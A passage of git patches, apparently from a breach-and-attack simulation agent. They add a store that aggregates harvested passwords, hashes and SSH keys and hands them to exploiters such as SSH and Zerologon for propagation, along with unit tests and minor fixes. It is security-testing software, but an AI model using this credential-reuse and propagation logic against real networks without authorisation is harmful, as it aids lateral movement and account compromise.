Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Mon, 28 Mar 2022 09:45:45 -0400 Subject: [PATCH 0915/1110] Agent: Add public credentials property to CredentialsTelem --- .../telemetry/credentials_telem.py | 4 ++ .../telemetry/test_credentials_telem.py | 42 ++++++++++++------- 2 files changed, 32 insertions(+), 14 deletions(-) diff --git a/monkey/infection_monkey/telemetry/credentials_telem.py b/monkey/infection_monkey/telemetry/credentials_telem.py index c0573d942..4f5c43aa4 100644 --- a/monkey/infection_monkey/telemetry/credentials_telem.py +++ b/monkey/infection_monkey/telemetry/credentials_telem.py @@ -17,6 +17,10 @@ class CredentialsTelem(BaseTelem): """ self._credentials = credentials + @property + def credentials(self) -> Iterable[Credentials]: + return iter(self._credentials) + def send(self, log_data=True): super().send(log_data=False) diff --git a/monkey/tests/unit_tests/infection_monkey/telemetry/test_credentials_telem.py b/monkey/tests/unit_tests/infection_monkey/telemetry/test_credentials_telem.py index a3d1e3f6f..13c93f60f 100644 --- a/monkey/tests/unit_tests/infection_monkey/telemetry/test_credentials_telem.py +++ b/monkey/tests/unit_tests/infection_monkey/telemetry/test_credentials_telem.py @@ -1,37 +1,51 @@ import json +import pytest + from infection_monkey.credential_collectors import Password, SSHKeypair, Username from infection_monkey.i_puppet import Credentials from infection_monkey.telemetry.credentials_telem import CredentialsTelem +USERNAME = "m0nkey" +PASSWORD = "mmm" +PUBLIC_KEY = "pub_key" +PRIVATE_KEY = "priv_key" -def test_credential_telem_send(spy_send_telemetry): - username = "m0nkey" - password = "mmm" - public_key = "pub_key" - private_key = "priv_key" + +@pytest.fixture +def credentials_for_test(): + + return Credentials( + [Username(USERNAME)], [Password(PASSWORD), SSHKeypair(PRIVATE_KEY, PUBLIC_KEY)] + ) + + +def test_credential_telem_send(spy_send_telemetry, credentials_for_test): expected_data = [ { - "identities": [{"username": username, "credential_type": "USERNAME"}], + "identities": [{"username": USERNAME, "credential_type": "USERNAME"}], "secrets": [ - {"password": password, "credential_type": "PASSWORD"}, + {"password": PASSWORD, "credential_type": "PASSWORD"}, { - "private_key": "pub_key", - "public_key": "priv_key", + "private_key": PRIVATE_KEY, + "public_key": PUBLIC_KEY, "credential_type": "SSH_KEYPAIR", }, ], } ] - credentials = Credentials( - [Username(username)], [Password(password), SSHKeypair(public_key, private_key)] - ) - - telem = CredentialsTelem([credentials]) + telem = CredentialsTelem([credentials_for_test]) telem.send() expected_data = json.dumps(expected_data, cls=telem.json_encoder) assert spy_send_telemetry.data == expected_data assert spy_send_telemetry.telem_category == "credentials" + + +def test_credentials_property(credentials_for_test): + telem = CredentialsTelem([credentials_for_test]) + + assert len(list(telem.credentials)) == 1 + assert list(telem.credentials)[0] == credentials_for_test From 4de90584c9db3f6154568a74f8c2451ac35e6816 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Mon, 28 Mar 2022 21:11:35 +0200 Subject: [PATCH 0916/1110] Agent: Add Credentials intercepting telemetry messenger --- ...ntials_intercepting_telemetry_messenger.py | 38 +++++++++++++++++++ 1 file changed, 38 insertions(+) create mode 100644 monkey/infection_monkey/telemetry/messengers/credentials_intercepting_telemetry_messenger.py diff --git a/monkey/infection_monkey/telemetry/messengers/credentials_intercepting_telemetry_messenger.py b/monkey/infection_monkey/telemetry/messengers/credentials_intercepting_telemetry_messenger.py new file mode 100644 index 000000000..541800577 --- /dev/null +++ b/monkey/infection_monkey/telemetry/messengers/credentials_intercepting_telemetry_messenger.py @@ -0,0 +1,38 @@ +from functools import singledispatch + +from infection_monkey.credential_store import ICredentialsStore +from infection_monkey.telemetry.credentials_telem import CredentialsTelem +from infection_monkey.telemetry.i_telem import ITelem +from infection_monkey.telemetry.messengers.i_telemetry_messenger import ITelemetryMessenger + + +class CredentialsInterceptingTelemetryMessenger(ITelemetryMessenger): + def __init__( + self, telemetry_messenger: ITelemetryMessenger, credentials_store: ICredentialsStore + ): + self._telemetry_messenger = telemetry_messenger + self._credentials_store = credentials_store + + def send_telemetry(self, telemetry: ITelem): + _send_telemetry(telemetry, self._telemetry_messenger, self._credentials_store) + + +# Note: We can use @singledispatchmethod instead of @singledispatch if we migrate to Python 3.8 or +# later. +@singledispatch +def _send_telemetry( + telemetry: ITelem, + telemetry_messenger: ITelemetryMessenger, + credentials_store: ICredentialsStore, +): + telemetry_messenger.send_telemetry(telemetry) + + +@_send_telemetry.register +def _( + telemetry: CredentialsTelem, + telemetry_messenger: ITelemetryMessenger, + credentials_store: ICredentialsStore, +): + credentials_store.add_credentials(telemetry.credentials) + telemetry_messenger.send_telemetry(telemetry) From d434c20bcbd861854a9051b476af7b86a27e0832 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Mon, 28 Mar 2022 21:14:46 +0200 Subject: [PATCH 0917/1110] Agent: Inject credentials store to Automated Master Intercept credentials and update the credentials store using credentials intercepting telemetry messenger --- .../infection_monkey/master/automated_master.py | 7 ++++--- monkey/infection_monkey/monkey.py | 17 ++++++++++++++++- 2 files changed, 20 insertions(+), 4 deletions(-) diff --git a/monkey/infection_monkey/master/automated_master.py b/monkey/infection_monkey/master/automated_master.py index f70d90b46..d05f9f5cf 100644 --- a/monkey/infection_monkey/master/automated_master.py +++ b/monkey/infection_monkey/master/automated_master.py @@ -3,6 +3,7 @@ import threading import time from typing import Any, Callable, Dict, Iterable, List, Optional, Tuple +from infection_monkey.credential_store import ICredentialsStore from infection_monkey.i_control_channel import IControlChannel, IslandCommunicationError from infection_monkey.i_master import IMaster from infection_monkey.i_puppet import IPuppet @@ -36,6 +37,7 @@ class AutomatedMaster(IMaster): victim_host_factory: VictimHostFactory, control_channel: IControlChannel, local_network_interfaces: List[NetworkInterface], + credentials_store: ICredentialsStore, ): self._current_depth = current_depth self._puppet = puppet @@ -43,9 +45,8 @@ class AutomatedMaster(IMaster): self._control_channel = control_channel ip_scanner = IPScanner(self._puppet, NUM_SCAN_THREADS) - exploiter = Exploiter( - self._puppet, NUM_EXPLOIT_THREADS, self._control_channel.get_credentials_for_propagation - ) + + exploiter = Exploiter(self._puppet, NUM_EXPLOIT_THREADS, credentials_store.get_credentials) self._propagator = Propagator( self._telemetry_messenger, ip_scanner, diff --git a/monkey/infection_monkey/monkey.py b/monkey/infection_monkey/monkey.py index 9576f76c0..6f12c4b89 100644 --- a/monkey/infection_monkey/monkey.py +++ b/monkey/infection_monkey/monkey.py @@ -15,6 +15,7 @@ from infection_monkey.credential_collectors import ( MimikatzCredentialCollector, SSHCredentialCollector, ) +from infection_monkey.credential_store import AggregatingCredentialsStore from infection_monkey.exploit import CachingAgentRepository, ExploiterWrapper from infection_monkey.exploit.hadoop import HadoopExploiter from infection_monkey.exploit.log4shell import Log4ShellExploiter @@ -54,6 +55,9 @@ from infection_monkey.puppet.puppet import Puppet from infection_monkey.system_singleton import SystemSingleton from infection_monkey.telemetry.attack.t1106_telem import T1106Telem from infection_monkey.telemetry.attack.t1107_telem import T1107Telem +from infection_monkey.telemetry.messengers.credentials_intercepting_telemetry_messenger import ( + CredentialsInterceptingTelemetryMessenger, +) from infection_monkey.telemetry.messengers.exploit_intercepting_telemetry_messenger import ( ExploitInterceptingTelemetryMessenger, ) @@ -183,14 +187,25 @@ class InfectionMonkey: telemetry_messenger = ExploitInterceptingTelemetryMessenger( self.telemetry_messenger, self._monkey_inbound_tunnel ) + control_channel = ControlChannel(self._default_server, GUID) + + credentials_store = AggregatingCredentialsStore(control_channel) + + telemetry_messenger = CredentialsInterceptingTelemetryMessenger( + ExploitInterceptingTelemetryMessenger( + self.telemetry_messenger, self._monkey_inbound_tunnel + ), + credentials_store, + ) self._master = AutomatedMaster( self._current_depth, puppet, telemetry_messenger, victim_host_factory, - ControlChannel(self._default_server, GUID), + control_channel, local_network_interfaces, + credentials_store, ) @staticmethod From ccb0337aef8c32a2278259e81c72ad7eefd92e74 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Mon, 28 Mar 2022 21:15:57 +0200 Subject: [PATCH 0918/1110] Agent: Add return to get credentials method in Credentials Store --- .../credential_store/aggregating_credentials_store.py | 1 + .../infection_monkey/credential_store/i_credentials_store.py | 4 ++-- 2 files changed, 3 insertions(+), 2 deletions(-) diff --git a/monkey/infection_monkey/credential_store/aggregating_credentials_store.py b/monkey/infection_monkey/credential_store/aggregating_credentials_store.py index d855b98dd..31c0a156a 100644 --- a/monkey/infection_monkey/credential_store/aggregating_credentials_store.py +++ b/monkey/infection_monkey/credential_store/aggregating_credentials_store.py @@ -41,6 +41,7 @@ class AggregatingCredentialsStore(ICredentialsStore): try: propagation_credentials = self._control_channel.get_credentials_for_propagation() self._aggregate_credentials(propagation_credentials) + return self.stored_credentials except Exception as ex: self.stored_credentials = {} logger.error(f"Error while attempting to retrieve credentials for propagation: {ex}") diff --git a/monkey/infection_monkey/credential_store/i_credentials_store.py b/monkey/infection_monkey/credential_store/i_credentials_store.py index 2ac10192b..17387480d 100644 --- a/monkey/infection_monkey/credential_store/i_credentials_store.py +++ b/monkey/infection_monkey/credential_store/i_credentials_store.py @@ -1,5 +1,5 @@ import abc -from typing import Iterable +from typing import Iterable, Mapping from infection_monkey.i_puppet import Credentials @@ -13,7 +13,7 @@ class ICredentialsStore(metaclass=abc.ABCMeta): """ @abc.abstractmethod - def get_credentials(self) -> None: + def get_credentials(self) -> Mapping: """ Method that retrieves credentials from the store :return: Credentials that can be used for propagation From 1b9bbfe75212b368374fe156e9b23970d82bf1c5 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Mon, 28 Mar 2022 21:16:43 +0200 Subject: [PATCH 0919/1110] Agent: Fix ssh string to include proper user and ip --- monkey/infection_monkey/exploit/sshexec.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/infection_monkey/exploit/sshexec.py b/monkey/infection_monkey/exploit/sshexec.py index 0e6a9c038..dab29ae03 100644 --- a/monkey/infection_monkey/exploit/sshexec.py +++ b/monkey/infection_monkey/exploit/sshexec.py @@ -60,7 +60,7 @@ class SSHExploiter(HostExploiter): for user, ssh_key_pair in ssh_key_pairs_iterator: # Creating file-like private key for paramiko pkey = io.StringIO(ssh_key_pair["private_key"]) - ssh_string = "%s@%s" % (ssh_key_pair["user"], ssh_key_pair["ip"]) + ssh_string = "%s@%s" % (user, self.host.ip_addr) ssh = paramiko.SSHClient() ssh.set_missing_host_key_policy(paramiko.WarningPolicy()) From 06773ba9d9dd09e2ed8debc8dac68ae79dda69b5 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Mon, 28 Mar 2022 21:20:16 +0200 Subject: [PATCH 0920/1110] UT: Fix AutomatedMaster unit test to include Credentials Store --- .../infection_monkey/master/test_automated_master.py | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/monkey/tests/unit_tests/infection_monkey/master/test_automated_master.py b/monkey/tests/unit_tests/infection_monkey/master/test_automated_master.py index 4bb7b4294..cf0112d59 100644 --- a/monkey/tests/unit_tests/infection_monkey/master/test_automated_master.py +++ b/monkey/tests/unit_tests/infection_monkey/master/test_automated_master.py @@ -14,7 +14,7 @@ INTERVAL = 0.001 def test_terminate_without_start(): - m = AutomatedMaster(None, None, None, None, MagicMock(), []) + m = AutomatedMaster(None, None, None, None, MagicMock(), [], MagicMock()) # Test that call to terminate does not raise exception m.terminate() @@ -34,7 +34,7 @@ def test_stop_if_cant_get_config_from_island(monkeypatch): monkeypatch.setattr( "infection_monkey.master.automated_master.CHECK_FOR_TERMINATE_INTERVAL_SEC", INTERVAL ) - m = AutomatedMaster(None, None, None, None, cc, []) + m = AutomatedMaster(None, None, None, None, cc, [], MagicMock()) m.start() assert cc.get_config.call_count == CHECK_FOR_CONFIG_COUNT @@ -73,7 +73,7 @@ def test_stop_if_cant_get_stop_signal_from_island(monkeypatch, sleep_and_return_ "infection_monkey.master.automated_master.CHECK_FOR_TERMINATE_INTERVAL_SEC", INTERVAL ) - m = AutomatedMaster(None, None, None, None, cc, []) + m = AutomatedMaster(None, None, None, None, cc, [], MagicMock()) m.start() assert cc.should_agent_stop.call_count == CHECK_FOR_STOP_AGENT_COUNT From b8a72a971992d8b1a3d1d95da6110605e58a3615 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Tue, 29 Mar 2022 10:56:24 +0200 Subject: [PATCH 0921/1110] UT: Add credentials intercepting telemetry messenger tests Add __test__ to False to discard pytest warning about __init__ constructors of TestTelem classes --- ...ntials_intercepting_telemetry_messenger.py | 74 +++++++++++++++++++ ...xploit_intercepting_telemetry_messenger.py | 1 + 2 files changed, 75 insertions(+) create mode 100644 monkey/tests/unit_tests/infection_monkey/telemetry/messengers/test_credentials_intercepting_telemetry_messenger.py diff --git a/monkey/tests/unit_tests/infection_monkey/telemetry/messengers/test_credentials_intercepting_telemetry_messenger.py b/monkey/tests/unit_tests/infection_monkey/telemetry/messengers/test_credentials_intercepting_telemetry_messenger.py new file mode 100644 index 000000000..1e2d6b468 --- /dev/null +++ b/monkey/tests/unit_tests/infection_monkey/telemetry/messengers/test_credentials_intercepting_telemetry_messenger.py @@ -0,0 +1,74 @@ +from unittest.mock import MagicMock + +from infection_monkey.credential_collectors import Password, SSHKeypair, Username +from infection_monkey.credential_store import AggregatingCredentialsStore +from infection_monkey.i_puppet import Credentials +from infection_monkey.telemetry.base_telem import BaseTelem +from infection_monkey.telemetry.credentials_telem import CredentialsTelem +from infection_monkey.telemetry.messengers.credentials_intercepting_telemetry_messenger import ( + CredentialsInterceptingTelemetryMessenger, +) + +TELEM_CREDENTIALS = [ + Credentials( + [Username("user1"), Username("user3")], + [ + Password("abcdefg"), + Password("root"), + SSHKeypair(public_key="some_public_key", private_key="some_private_key"), + ], + ) +] + + +class TestTelem(BaseTelem): + telem_category = None + __test__ = False + + def __init__(self): + pass + + def get_data(self): + return {} + + +class MockCredentialsTelem(CredentialsTelem): + def __init(self, credentials): + super().__init__(credentials) + + def get_data(self): + return {} + + +def test_credentials_generic_telemetry(): + mock_telemetry_messenger = MagicMock() + mock_credentials_store = MagicMock() + + telemetry_messenger = CredentialsInterceptingTelemetryMessenger( + mock_telemetry_messenger, mock_credentials_store + ) + + telemetry_messenger.send_telemetry(TestTelem()) + + assert mock_telemetry_messenger.send_telemetry.called + assert not mock_credentials_store.add_credentials.called + + +def test_successful_intercepting_credentials_telemetry(): + mock_telemetry_messenger = MagicMock() + aggregating_credentials_store = AggregatingCredentialsStore(MagicMock()) + mock_empty_credentials_telem = MockCredentialsTelem([]) + + telemetry_messenger = CredentialsInterceptingTelemetryMessenger( + mock_telemetry_messenger, aggregating_credentials_store + ) + + telemetry_messenger.send_telemetry(mock_empty_credentials_telem) + + assert mock_telemetry_messenger.send_telemetry.called + assert not aggregating_credentials_store.stored_credentials + + mock_credentials_telem = MockCredentialsTelem(TELEM_CREDENTIALS) + telemetry_messenger.send_telemetry(mock_credentials_telem) + + assert aggregating_credentials_store.stored_credentials diff --git a/monkey/tests/unit_tests/infection_monkey/telemetry/messengers/test_exploit_intercepting_telemetry_messenger.py b/monkey/tests/unit_tests/infection_monkey/telemetry/messengers/test_exploit_intercepting_telemetry_messenger.py index f949738f6..b07ea4a1d 100644 --- a/monkey/tests/unit_tests/infection_monkey/telemetry/messengers/test_exploit_intercepting_telemetry_messenger.py +++ b/monkey/tests/unit_tests/infection_monkey/telemetry/messengers/test_exploit_intercepting_telemetry_messenger.py @@ -11,6 +11,7 @@ from infection_monkey.telemetry.messengers.exploit_intercepting_telemetry_messen class TestTelem(BaseTelem): telem_category = None + __test__ = False def __init__(self): pass From e7e6201d75b6ee9ae9589ae5a687813e50b1f70c Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Tue, 29 Mar 2022 11:42:59 +0200 Subject: [PATCH 0922/1110] Agent: Use credential intercepting messenger in Zerologon --- monkey/infection_monkey/monkey.py | 14 ++++++++++---- 1 file changed, 10 insertions(+), 4 deletions(-) diff --git a/monkey/infection_monkey/monkey.py b/monkey/infection_monkey/monkey.py index 6f12c4b89..04c794ab5 100644 --- a/monkey/infection_monkey/monkey.py +++ b/monkey/infection_monkey/monkey.py @@ -89,6 +89,7 @@ class InfectionMonkey: self._default_server = self._opts.server # TODO used in propogation phase self._monkey_inbound_tunnel = None + self._credentials_store = None self.telemetry_messenger = LegacyTelemetryMessengerAdapter() self._current_depth = self._opts.depth self._master = None @@ -189,13 +190,13 @@ class InfectionMonkey: ) control_channel = ControlChannel(self._default_server, GUID) - credentials_store = AggregatingCredentialsStore(control_channel) + self._credentials_store = AggregatingCredentialsStore(control_channel) telemetry_messenger = CredentialsInterceptingTelemetryMessenger( ExploitInterceptingTelemetryMessenger( self.telemetry_messenger, self._monkey_inbound_tunnel ), - credentials_store, + self._credentials_store, ) self._master = AutomatedMaster( @@ -205,7 +206,7 @@ class InfectionMonkey: victim_host_factory, control_channel, local_network_interfaces, - credentials_store, + self._credentials_store, ) @staticmethod @@ -256,9 +257,14 @@ class InfectionMonkey: puppet.load_plugin( "MSSQLExploiter", exploit_wrapper.wrap(MSSQLExploiter), PluginType.EXPLOITER ) + + zerologon_telemetry_messenger = CredentialsInterceptingTelemetryMessenger( + self.telemetry_messenger, self._credentials_store + ) + zerologon_wrapper = ExploiterWrapper(zerologon_telemetry_messenger, agent_repository) puppet.load_plugin( "ZerologonExploiter", - exploit_wrapper.wrap(ZerologonExploiter), + zerologon_wrapper.wrap(ZerologonExploiter), PluginType.EXPLOITER, ) From 0a5fc84b4e59013cd5baae3d3eec240881ff827e Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Tue, 29 Mar 2022 13:36:53 +0200 Subject: [PATCH 0923/1110] Agent: Fix timeout in ZeroLogon Timeout should be on DCERPC transport factory. --- monkey/infection_monkey/exploit/zerologon.py | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/monkey/infection_monkey/exploit/zerologon.py b/monkey/infection_monkey/exploit/zerologon.py index df5b7b4c6..c8dba101d 100644 --- a/monkey/infection_monkey/exploit/zerologon.py +++ b/monkey/infection_monkey/exploit/zerologon.py @@ -91,8 +91,9 @@ class ZerologonExploiter(HostExploiter): @staticmethod def connect_to_dc(dc_ip) -> object: binding = epm.hept_map(dc_ip, nrpc.MSRPC_UUID_NRPC, protocol="ncacn_ip_tcp") - rpc_con = transport.DCERPCTransportFactory(binding).get_dce_rpc() - rpc_con.set_connect_timeout(LONG_REQUEST_TIMEOUT) + rpc_transport = transport.DCERPCTransportFactory(binding) + rpc_transport.set_connect_timeout(LONG_REQUEST_TIMEOUT) + rpc_con = rpc_transport.get_dce_rpc() rpc_con.connect() rpc_con.bind(nrpc.MSRPC_UUID_NRPC) return rpc_con From 638658178b3a90791999c787b20142dab087888a Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Tue, 29 Mar 2022 13:39:58 +0200 Subject: [PATCH 0924/1110] Agent: Create credential attribute even if we don't have credentials --- .../aggregating_credentials_store.py | 31 +++++++++++-------- 1 file changed, 18 insertions(+), 13 deletions(-) diff --git a/monkey/infection_monkey/credential_store/aggregating_credentials_store.py b/monkey/infection_monkey/credential_store/aggregating_credentials_store.py index 31c0a156a..f95611166 100644 --- a/monkey/infection_monkey/credential_store/aggregating_credentials_store.py +++ b/monkey/infection_monkey/credential_store/aggregating_credentials_store.py @@ -48,22 +48,27 @@ class AggregatingCredentialsStore(ICredentialsStore): def _aggregate_credentials(self, credentials_to_aggr: Mapping): for cred_attr, credentials_values in credentials_to_aggr.items(): - if credentials_values: - self._set_attribute(cred_attr, credentials_values) + self._set_attribute(cred_attr, credentials_values) def _set_attribute(self, attribute_to_be_set, credentials_values): if attribute_to_be_set not in self.stored_credentials: self.stored_credentials[attribute_to_be_set] = [] - if isinstance(credentials_values[0], dict): - self.stored_credentials.setdefault(attribute_to_be_set, []).extend(credentials_values) - self.stored_credentials[attribute_to_be_set] = [ - dict(s_c) - for s_c in set( - frozenset(d_c.items()) for d_c in self.stored_credentials[attribute_to_be_set] + if credentials_values: + if isinstance(credentials_values[0], dict): + self.stored_credentials.setdefault(attribute_to_be_set, []).extend( + credentials_values + ) + self.stored_credentials[attribute_to_be_set] = [ + dict(s_c) + for s_c in set( + frozenset(d_c.items()) + for d_c in self.stored_credentials[attribute_to_be_set] + ) + ] + else: + self.stored_credentials[attribute_to_be_set] = sorted( + list( + set(self.stored_credentials[attribute_to_be_set]).union(credentials_values) + ) ) - ] - else: - self.stored_credentials[attribute_to_be_set] = sorted( - list(set(self.stored_credentials[attribute_to_be_set]).union(credentials_values)) - ) From e844ecf4e457b7ddf61fe001b3529f614e52475a Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Tue, 29 Mar 2022 13:41:06 +0200 Subject: [PATCH 0925/1110] Agent: Create credentials store before building the puppet --- monkey/infection_monkey/monkey.py | 7 ++++--- 1 file changed, 4 insertions(+), 3 deletions(-) diff --git a/monkey/infection_monkey/monkey.py b/monkey/infection_monkey/monkey.py index 04c794ab5..05f1155c5 100644 --- a/monkey/infection_monkey/monkey.py +++ b/monkey/infection_monkey/monkey.py @@ -181,6 +181,10 @@ class InfectionMonkey: def _build_master(self): local_network_interfaces = InfectionMonkey._get_local_network_interfaces() + + control_channel = ControlChannel(self._default_server, GUID) + self._credentials_store = AggregatingCredentialsStore(control_channel) + puppet = self._build_puppet() victim_host_factory = self._build_victim_host_factory(local_network_interfaces) @@ -188,9 +192,6 @@ class InfectionMonkey: telemetry_messenger = ExploitInterceptingTelemetryMessenger( self.telemetry_messenger, self._monkey_inbound_tunnel ) - control_channel = ControlChannel(self._default_server, GUID) - - self._credentials_store = AggregatingCredentialsStore(control_channel) telemetry_messenger = CredentialsInterceptingTelemetryMessenger( ExploitInterceptingTelemetryMessenger( From def62940af3df98ddcd506209e6522cdb4b59cc4 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 29 Mar 2022 08:11:38 -0400 Subject: [PATCH 0926/1110] Agent: Add PropagationCredentials type --- monkey/infection_monkey/master/exploiter.py | 5 +++-- monkey/infection_monkey/typing.py | 3 +++ 2 files changed, 6 insertions(+), 2 deletions(-) create mode 100644 monkey/infection_monkey/typing.py diff --git a/monkey/infection_monkey/master/exploiter.py b/monkey/infection_monkey/master/exploiter.py index 3f0087af8..5f8e25b4d 100644 --- a/monkey/infection_monkey/master/exploiter.py +++ b/monkey/infection_monkey/master/exploiter.py @@ -9,6 +9,7 @@ from typing import Callable, Dict, List, Mapping from infection_monkey.i_puppet import ExploiterResultData, IPuppet from infection_monkey.model import VictimHost +from infection_monkey.typing import PropagationCredentials from infection_monkey.utils.threading import interruptible_iter, run_worker_threads QUEUE_TIMEOUT = 2 @@ -24,7 +25,7 @@ class Exploiter: self, puppet: IPuppet, num_workers: int, - get_updated_credentials_for_propagation: Callable[[], Mapping], + get_updated_credentials_for_propagation: Callable[[], PropagationCredentials], ): self._puppet = puppet self._num_workers = num_workers @@ -160,7 +161,7 @@ class Exploiter: exploitation_success=False, propagation_success=False, error_message=msg ) - def _get_credentials_for_propagation(self) -> Mapping: + def _get_credentials_for_propagation(self) -> PropagationCredentials: try: return self._get_updated_credentials_for_propagation() except Exception as ex: diff --git a/monkey/infection_monkey/typing.py b/monkey/infection_monkey/typing.py new file mode 100644 index 000000000..6e1eab9aa --- /dev/null +++ b/monkey/infection_monkey/typing.py @@ -0,0 +1,3 @@ +from typing import Iterable, Mapping + +PropagationCredentials = Mapping[str, Iterable[str]] From b49d9d9b9a290d85f1b550928660778c773622a1 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Tue, 29 Mar 2022 16:58:48 +0200 Subject: [PATCH 0927/1110] Agent, UT: Update credentials store using `setdefault().update` * get_credentials use PropgationCredentials type * private stored credentials in Aggregating Credentials Store * initial values in credentials store constructor * build_puppet accepts ICredentialsStore * private telemetry_messenger in monkey --- .../aggregating_credentials_store.py | 75 +++++++++++-------- .../credential_store/i_credentials_store.py | 16 ++-- monkey/infection_monkey/monkey.py | 51 +++++++------ ... => test_aggregating_credentials_store.py} | 73 ++++++++---------- ...ntials_intercepting_telemetry_messenger.py | 14 +--- 5 files changed, 114 insertions(+), 115 deletions(-) rename monkey/tests/unit_tests/infection_monkey/credential_store/{test_credential_store.py => test_aggregating_credentials_store.py} (56%) diff --git a/monkey/infection_monkey/credential_store/aggregating_credentials_store.py b/monkey/infection_monkey/credential_store/aggregating_credentials_store.py index f95611166..61883a49c 100644 --- a/monkey/infection_monkey/credential_store/aggregating_credentials_store.py +++ b/monkey/infection_monkey/credential_store/aggregating_credentials_store.py @@ -1,9 +1,10 @@ import logging -from typing import Iterable, Mapping +from typing import Any, Iterable, Mapping from common.common_consts.credential_component_type import CredentialComponentType from infection_monkey.i_control_channel import IControlChannel from infection_monkey.i_puppet import Credentials +from infection_monkey.typing import PropagationCredentials from .i_credentials_store import ICredentialsStore @@ -12,63 +13,73 @@ logger = logging.getLogger(__name__) class AggregatingCredentialsStore(ICredentialsStore): def __init__(self, control_channel: IControlChannel): - self.stored_credentials = {} + self._stored_credentials = { + "exploit_user_list": set(), + "exploit_password_list": set(), + "exploit_lm_hash_list": set(), + "exploit_ntlm_hash_list": set(), + "exploit_ssh_keys": [], + } self._control_channel = control_channel - def add_credentials(self, credentials_to_add: Iterable[Credentials]) -> None: + def add_credentials(self, credentials_to_add: Iterable[Credentials]): for credentials in credentials_to_add: - usernames = [ + usernames = { identity.username for identity in credentials.identities if identity.credential_type is CredentialComponentType.USERNAME - ] - self._set_attribute("exploit_user_list", usernames) + } + self._stored_credentials.setdefault("exploit_user_list", set()).update(usernames) for secret in credentials.secrets: if secret.credential_type is CredentialComponentType.PASSWORD: - self._set_attribute("exploit_password_list", [secret.password]) + self._stored_credentials.setdefault("exploit_password_list", set()).update( + [secret.password] + ) elif secret.credential_type is CredentialComponentType.LM_HASH: - self._set_attribute("exploit_lm_hash_list", [secret.lm_hash]) + self._stored_credentials.setdefault("exploit_lm_hash_list", set()).update( + [secret.lm_hash] + ) elif secret.credential_type is CredentialComponentType.NT_HASH: - self._set_attribute("exploit_ntlm_hash_list", [secret.nt_hash]) + self._stored_credentials.setdefault("exploit_ntlm_hash_list", set()).update( + [secret.nt_hash] + ) elif secret.credential_type is CredentialComponentType.SSH_KEYPAIR: self._set_attribute( "exploit_ssh_keys", [{"public_key": secret.public_key, "private_key": secret.private_key}], ) - def get_credentials(self): + def get_credentials(self) -> PropagationCredentials: try: propagation_credentials = self._control_channel.get_credentials_for_propagation() + + # Needs to be reworked when exploiters accepts sequence of Credentials self._aggregate_credentials(propagation_credentials) - return self.stored_credentials + + return self._stored_credentials except Exception as ex: - self.stored_credentials = {} + self._stored_credentials = {} logger.error(f"Error while attempting to retrieve credentials for propagation: {ex}") def _aggregate_credentials(self, credentials_to_aggr: Mapping): for cred_attr, credentials_values in credentials_to_aggr.items(): self._set_attribute(cred_attr, credentials_values) - def _set_attribute(self, attribute_to_be_set, credentials_values): - if attribute_to_be_set not in self.stored_credentials: - self.stored_credentials[attribute_to_be_set] = [] + def _set_attribute(self, attribute_to_be_set: str, credentials_values: Iterable[Any]): + if not credentials_values: + return - if credentials_values: - if isinstance(credentials_values[0], dict): - self.stored_credentials.setdefault(attribute_to_be_set, []).extend( - credentials_values - ) - self.stored_credentials[attribute_to_be_set] = [ - dict(s_c) - for s_c in set( - frozenset(d_c.items()) - for d_c in self.stored_credentials[attribute_to_be_set] - ) - ] - else: - self.stored_credentials[attribute_to_be_set] = sorted( - list( - set(self.stored_credentials[attribute_to_be_set]).union(credentials_values) - ) + if isinstance(credentials_values[0], dict): + self._stored_credentials[attribute_to_be_set] = [] + self._stored_credentials.setdefault(attribute_to_be_set, []).extend(credentials_values) + self._stored_credentials[attribute_to_be_set] = [ + dict(s_c) + for s_c in set( + frozenset(d_c.items()) for d_c in self._stored_credentials[attribute_to_be_set] ) + ] + else: + self._stored_credentials.setdefault(attribute_to_be_set, set()).update( + credentials_values + ) diff --git a/monkey/infection_monkey/credential_store/i_credentials_store.py b/monkey/infection_monkey/credential_store/i_credentials_store.py index 17387480d..72ef12d44 100644 --- a/monkey/infection_monkey/credential_store/i_credentials_store.py +++ b/monkey/infection_monkey/credential_store/i_credentials_store.py @@ -1,20 +1,22 @@ import abc -from typing import Iterable, Mapping +from typing import Iterable from infection_monkey.i_puppet import Credentials +from infection_monkey.typing import PropagationCredentials class ICredentialsStore(metaclass=abc.ABCMeta): @abc.abstractmethod - def add_credentials(self, credentials_to_add: Iterable[Credentials]) -> None: - """a - Method that adds credentials to the CredentialStore - :param Credentials credentials: The credentials that will be added + def add_credentials(self, credentials_to_add: Iterable[Credentials]): + """ + Adds credentials to the CredentialStore + :param Iterable[Credentials] credentials: The credentials that will be added """ @abc.abstractmethod - def get_credentials(self) -> Mapping: + def get_credentials(self) -> PropagationCredentials: """ - Method that retrieves credentials from the store + Retrieves credentials from the store :return: Credentials that can be used for propagation + :type: PropagationCredentials """ diff --git a/monkey/infection_monkey/monkey.py b/monkey/infection_monkey/monkey.py index 05f1155c5..64408874d 100644 --- a/monkey/infection_monkey/monkey.py +++ b/monkey/infection_monkey/monkey.py @@ -15,7 +15,7 @@ from infection_monkey.credential_collectors import ( MimikatzCredentialCollector, SSHCredentialCollector, ) -from infection_monkey.credential_store import AggregatingCredentialsStore +from infection_monkey.credential_store import AggregatingCredentialsStore, ICredentialsStore from infection_monkey.exploit import CachingAgentRepository, ExploiterWrapper from infection_monkey.exploit.hadoop import HadoopExploiter from infection_monkey.exploit.log4shell import Log4ShellExploiter @@ -89,8 +89,7 @@ class InfectionMonkey: self._default_server = self._opts.server # TODO used in propogation phase self._monkey_inbound_tunnel = None - self._credentials_store = None - self.telemetry_messenger = 